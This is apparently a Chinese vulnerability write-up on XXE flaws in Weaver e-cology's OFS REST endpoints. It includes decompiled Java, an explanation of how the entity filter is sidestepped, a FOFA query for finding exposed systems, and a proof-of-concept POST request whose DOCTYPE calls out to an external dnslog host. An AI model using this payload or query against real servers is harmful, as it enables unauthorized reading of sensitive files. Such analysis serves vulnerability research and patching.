简介
泛微e-cology是一款由泛微网络科技开发的协同管理平台,支持人力资源、财务、行政等多功能管理和移动办公。泛微e-cology系统接口/rest/ofs/ReceiveTodoRequestByXml、ProcessOverRequestByXml、ProcessDoneRequestByXml 存在XXE漏洞,未经的攻击者可以利用此漏洞读取系统内部敏感文件,获取敏感信息,使系统处于极不安全的状态。
FOFA 语法
app="泛微-协同商务系统"
漏洞分析
除了今天的这三个点,此前互联网已经披露 ReceiveCCRequestByXml、ReceiveRequestInfoByXml、deleteUserRequestInfoByXml、deleteRequestInfoByXml 这几个XXE漏洞点,其实漏洞成因也是一样的,这里只是简单记录下代码审计过程。
ReceiveTodoRequestByXml 实现逻辑代码如下
public class ReceiveTodoRequestByXml implements IRestService {
private OfsTodoDataManager ofsTodoDataManager = new OfsTodoDataManager();
public ReceiveTodoRequestByXml() {
}
public IRestService.RestType getType() {
return RestType.POST;
}
public String getURI() {
return "/rest/ofs/ReceiveTodoRequestByXml";
}
public void service(IRestRequest var1, IRestResponse var2) throws RestException {
HttpServletRequest var3 = var1.getHttpRequest();
Response var4 = new Response();
String var5 = ServletUtil.getServletInputStreamContent(var3, "UTF-8");
if (!"".equals(var5)) {
this.ofsTodoDataManager.setClientIp(Util.getIpAddr(var3));
String var6 = this.ofsTodoDataManager.ReceiveTodoRequestByXml(var5);
var4.addMessage("result", var6);
}
var2.writeReponse(var4);
}
}
- 首先检查
var5是否为空字符串。如果var5不为空,执行后续逻辑。 - 调用
ofsTodoDataManager.ReceiveTodoRequestByXml(var5)方法,将var5(即 XML 数据)传递给ofsTodoDataManager进行处理。
getServletInputStreamContent 函数代码如下
public static String getServletInputStreamContent(HttpServletRequest var0, String var1) {
StringBuffer var2 = new StringBuffer();
try {
ServletInputStream var3 = var0.getInputStream();
BufferedReader var4 = new BufferedReader(new InputStreamReader(var3, var1));
String var5 = "";
while((var5 = var4.readLine()) != null) {
var2.append(var5);
var2.append("\n");
}
} catch (IOException var6) {
var6.printStackTrace();
}
return var2.toString();
}
如果 var5 不为 null,将 var5 追加到 var2 中,并在每行末尾添加换行符 "\n",然后返回给 var5。
ReceiveTodoRequestByXml 函数代码如下
public String ReceiveTodoRequestByXml(String var1) {
var1 = SecurityMethodUtil.clearEntity(var1);
Map var2 = OfsUtils.xmlToMap(var1);
Map var3 = this.receiveCCRequestByMap(var2);
String var4 = OfsUtils.mapToXml(var3, "ResultInfo");
return var4;
}
其中 SecurityMethodUtil.clearEntity 如下
public static String clearEntity(String var0) {
if (var0 != null && !"".equals(var0)) {
return var0.toLowerCase().indexOf("entity") == -1 ? var0 : var0.replaceAll("(?i)\\<\\!entity ", "*");
} else {
return var0;
}
}
主要作用是清除字符串中所有不区分大小写的 <!ENTITY 声明,将其替换为 *,如果字符串为空或为 null,则直接返回原字符串。因此我们的payload里不能出现 <!ENTITY 声明。
xmlToMap 函数如下
public static Map<String, String> xmlToMap(String var0) {
HashMap var1 = new HashMap();
try {
Document var2 = DocumentHelper.parseText(var0);
if (var2 == null) {
return var1;
}
Element var3 = var2.getRootElement();
Iterator var4 = var3.elementIterator();
while(var4.hasNext()) {
Element var5 = (Element)var4.next();
List var6 = var5.elements();
var1.put(var5.getName(), var5.getText());
}
} catch (Exception var7) {
var7.printStackTrace();
}
return var1;
}
通过 org.dom4j.DocumentHelper.parseText 解析XML,从而造成XXE漏洞。
漏洞复现
POST /rest/ofs/ReceiveTodoRequestByXml HTTP/1.1
Host: fanwei.mrxn.net
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://ReceiveTodoRequestByXml.xxxx.dnslog.pw/xxe">
<M><syscode>&send;</syscode></M>
另外两个点的漏洞 ProcessOverRequestByXml、ProcessDoneRequestByXml 是一样的利用方式,就不重复测试了。





